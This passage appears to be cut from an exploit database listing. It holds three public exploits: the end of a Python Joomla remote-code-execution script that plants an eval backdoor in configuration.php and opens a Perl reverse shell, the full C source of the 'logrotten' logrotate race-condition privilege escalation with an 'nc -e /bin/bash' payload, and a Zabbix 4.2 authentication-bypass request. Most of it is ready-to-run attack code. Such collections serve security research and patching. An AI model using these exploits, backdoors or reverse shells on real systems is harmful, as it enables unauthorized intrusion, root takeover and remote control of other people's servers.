function).replace('FUNC_LEN', str(len(function))) return final def check(url): check_string = random_string(20) target_url = url + 'index.php/component/users' html = make_req(url, gen_pay('print_r',check_string)) if check_string in html: return True else: return False def ping_backdoor(url,param_name): res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS) if 'PWNED' in res.text: return True return False def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it\'s time to reverse, trying with a system + perl') execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target',required=True,help='Joomla Target') parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') args = vars(parser.parse_args()) url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/')
  24. # Exploit Title: logrotten 3.15.1 - Privilege Escalation # Date: 2019-10-04 # Exploit Author: Wolfgang Hotwagner # Vendor Homepage: https://github.com/logrotate/logrotate # Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1 # Version: all versions through 3.15.1 # Tested on: Debian GNU/Linux 9.5 (stretch) ## Brief description - logrotate is prone to a race condition after renaming the logfile. - If logrotate is executed as root, with option that creates a file ( like create, copy, compress, etc.) and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. - An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". ## Precondition for privilege escalation - Logrotate has to be executed as root - The logpath needs to be in control of the attacker - Any option that creates files is set in the logrotate configuration ## Tested version - Debian GNU/Linux 9.5 (stretch) - Amazon Linux 2 AMI (HVM) - Ubuntu 18.04.1 - logrotate 3.8.6 - logrotate 3.11.0 - logrotate 3.15.0 ## Compile - gcc -o logrotten logrotten.c ## Prepare payload ``` echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile ``` ## Run exploit If "create"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile /tmp/log/pwnme.log ``` If "compress"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log ``` ## Known Problems - It's hard to win the race inside a docker container or on a lvm2-volume ## Mitigation - make sure that logpath is owned by root - use option "su" in logrotate.cfg - use selinux or apparmor ## Author - Wolfgang Hotwagner ## References - https://github.com/whotwagner/logrotten - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges - https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/ - https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd logrotten.c /* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like "/etc/bash_completition.d/". * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log * - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1 * * [ Known Problems ] * - It's hard to win the race inside a docker container or on a lvm2-volume * * [ Mitigation ] * - make sure that logpath is owned by root * - use su-option in logrotate.cfg * - use selinux or apparmor * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <string.h> #include <alloca.h> #include <sys/stat.h> #include <getopt.h> #define EVENT_SIZE ( sizeof (struct inotify_event) ) #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) /* use TARGETDIR without "/" at the end */ #define TARGETDIR "/etc/bash_completion.d" #define PROGNAME "logrotten" void usage(const char* progname) { printf("usage: %s [OPTION...] <logfile>\n",progname); printf(" %-3s %-22s %-30s\n","-h","--help","Print this help"); printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory"); printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload"); printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload"); printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages"); printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles"); printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM"); } int main(int argc, char* argv[] ) { int length, i = 0; int j = 0; int index = 0; int fd; int wd; char buffer[EVENT_BUF_LEN]; uint32_t imask = IN_MOVED_FROM; char *payloadfile = NULL; char *logfile = NULL; char *targetdir = NULL; char *logpath; char *logpath2; char *targetpath; int debug = 0; int sleeptime = 1; char ch; const char *p; FILE *source, *target; int c; while(1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { {"payloadfile", required_argument, 0, 0}, {"targetdir", required_argument, 0, 0}, {"sleep", required_argument, 0, 0}, {"help", no_argument, 0, 0}, {"open", no_argument, 0, 0}, {"debug", no_argument, 0, 0}, {"compress", no_argument, 0, 0}, {0,0,0,0} }; c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index); if (c == -1) break; switch(c) { case 'p': payloadfile = alloca((strlen(optarg)+1)*sizeof(char)); memset(payloadfile,'\0',strlen(optarg)+1); strncpy(payloadfile,optarg,strlen(optarg)); break; case 't': targetdir = alloca((strlen(optarg)+1)*sizeof(char)); memset(targetdir,'\0',strlen(optarg)+1); strncpy(targetdir,optarg,strlen(optarg)); break; case 'h': usage(PROGNAME); exit(EXIT_FAILURE); break; case 'd': debug = 1; break; case 'o': imask = IN_OPEN; break; case 'c': imask = IN_OPEN; break; case 's': sleeptime = atoi(optarg); break; default: usage(PROGNAME); exit(EXIT_FAILURE); break; } } if(argc == (optind+1)) { logfile = alloca((strlen(argv[optind])+1)*sizeof(char)); memset(logfile,'\0',strlen(argv[optind])+1); strncpy(logfile,argv[optind],strlen(argv[optind])); } else { usage(PROGNAME); exit(EXIT_FAILURE); } for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--); index = j+1; p = &logfile[index]; logpath = alloca(strlen(logfile)*sizeof(char)); logpath2 = alloca((strlen(logfile)+2)*sizeof(char)); if(targetdir != NULL) { targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char)); strcat(targetpath,targetdir); } else { targetdir= TARGETDIR; targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char)); targetpath[0] = '\0'; strcat(targetpath,TARGETDIR); } strcat(targetpath,"/"); strcat(targetpath,p); for(j = 0; j < index; j++) logpath[j] = logfile[j]; logpath[j-1] = '\0'; strcpy(logpath2,logpath); logpath2[strlen(logpath)] = '2'; logpath2[strlen(logpath)+1] = '\0'; /*creating the INOTIFY instance*/ fd = inotify_init(); if( debug == 1) { printf("logfile: %s\n",logfile); printf("logpath: %s\n",logpath); printf("logpath2: %s\n",logpath2); printf("targetpath: %s\n",targetpath); printf("targetdir: %s\n",targetdir); printf("p: %s\n",p); } /*checking for error*/ if ( fd < 0 ) { perror( "inotify_init" ); } wd = inotify_add_watch( fd,logpath, imask ); printf("Waiting for rotating %s...\n",logfile); while(1) { i=0; length = read( fd, buffer, EVENT_BUF_LEN ); while (i < length) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) { if ( event->mask & imask ) { if(strcmp(event->name,p) == 0) { rename(logpath,logpath2); symlink(targetdir,logpath); printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir); if(payloadfile != NULL) { printf("Waiting %d seconds before writing payload...\n",sleeptime); sleep(sleeptime); source = fopen(payloadfile, "r"); if(source == NULL) exit(EXIT_FAILURE); target = fopen(targetpath, "w"); if(target == NULL) { fclose(source); exit(EXIT_FAILURE); } while ((ch = fgetc(source)) != EOF) fputc(ch, target); chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); fclose(source); fclose(target); } inotify_rm_watch( fd, wd ); close( fd ); printf("Done!\n"); exit(EXIT_SUCCESS); } } } i += EVENT_SIZE + event->len; } } /*removing from the watch list.*/ inotify_rm_watch( fd, wd ); /*closing the INOTIFY instance*/ close( fd ); exit(EXIT_SUCCESS); }
  25. # Exploit Title: Zabbix 4.2 - Authentication Bypass # Date: 2019-10-06 # Exploit Author: Milad Khoshdel # Software Link: https://www.zabbix.com/download # Version: Zabbix [2.x , 3.x , 4.x] Tested on latest version Zabbix 4.2 # Tested on: Linux Apache/2 PHP/7.2 # Google Dork: inurl:zabbix/zabbix.php ========= Vulnerable Page: ========= /zabbix.php?action=dashboard.view&dashboardid=1 ========= POC: ========= Attacker can bypass login page and access to dashboard page and create [Dashboard/Report/Screen/Map] without any Username/Password and anonymously. All Created elements [Dashboard/Report/Screen/Map] is accessible by other users and admin. REGUEST --> GET /zabbix.php?action=dashboard.view&dashboardid=1 HTTP/1.1 Host: [HOST-IP] Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close RESPONSE --> HTTP/1.1 200 OK Date: Sun, 06 Oct 2019 11:40:18 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: zbx_sessionid=a8d192ec833bd4476e0f6a550e6e5bed; HttpOnly Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 19239 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> [Dashboard Page Content Will Load Here] </html>